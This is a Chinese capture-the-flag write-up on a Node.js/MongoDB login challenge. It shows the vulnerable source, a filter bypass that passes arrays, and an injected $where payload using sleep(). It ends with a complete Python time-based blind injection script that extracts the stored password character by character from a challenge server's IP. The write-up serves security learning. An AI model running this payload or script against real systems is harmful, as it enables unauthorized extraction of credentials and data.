Login me
Hi, I've been learning NodeJS for a day!!!
I'm trying to make a simple login page with this awesome language, can you please check it out.
源码在此
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
app.listen(8081)
});
重点在于new RegExp('#'+k+'#','gm')
替换那里。
前面有个检测,
var valid = [‘#’,’(‘,’)’].every((x)=>{return req.body[k].indexOf(x) == -1});
可以通过传数组绕过。
比如传
username[]=a#dmin&password=123
则,req.body[k]
获取到的是一个数组,username[0]=”a#dmin”,所以,.indexOf('#')==-1
是可以通过检测的。
然后,构造注入语句
+%26%26+[]=# || 1==1){ if(JSON.stringify(this)[0]=='{'){sleep(10000)} }else if(1){//&username%5C%5B%22=admin&password=456
替换前
if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.password_6y0a9vnxsbgmequyja5c9885mi){
return 1;
}else{
return 0;}
用["# || 1==1){ if(JSON.stringify(this)[0]=='{'){sleep(10000)} }else if(1){//"]
替换 # && #
if(this.username == #username["# || 1==1){ if(JSON.stringify(this)[0]=='{'){sleep(10000)} }else if(1){//"]username# == "admin" && hex_md5(#password#) == this.password_6y0a9vnxsbgmequyja5c9885mi){
return 1;
}else{
return 0;}
用 "admin"
替换 #username["#
if(this.username == "admin" || 1==1){ if(JSON.stringify(this)[0]=='{'){sleep(10000)} }else if(1){//"]username# == "admin" && hex_md5(#password#) == this.password_6y0a9vnxsbgmequyja5c9885mi){
return 1;
}else{
return 0;}
可以看到中间一段代码是我们可控的了。
写脚本时间盲注。
#-*- coding: UTF-8 -*-
import requests
import string
import re
from collections import OrderedDict
url = "http://202.120.7.194:8082/check"
guess = string.lowercase + string.uppercase + string.digits + string.punctuation + " "
# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}
def check(url,data):
try:
r = requests.post(url = url,data = data,proxies=proxies,timeout=6)
except Exception, e:
return True
print e
return False
if __name__ == "__main__":
results = ""
for d in range(99,250):
result = " "
for g in guess:
print("%d -> %s"%(d,g))
data = OrderedDict()
data[' && []'] = "# || 1==1){ if(JSON.stringify(this)[%d]=='%s'){sleep(10000)} }else if(1){//"%(d,g)
data["username\[\""] = "admin"
data["password"] = "456"
if(check(url=url,data=data)):
result = g
print(result)
break
print(result)
results += result
print("results is -> : " + results)
print("results is -> : " + results)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com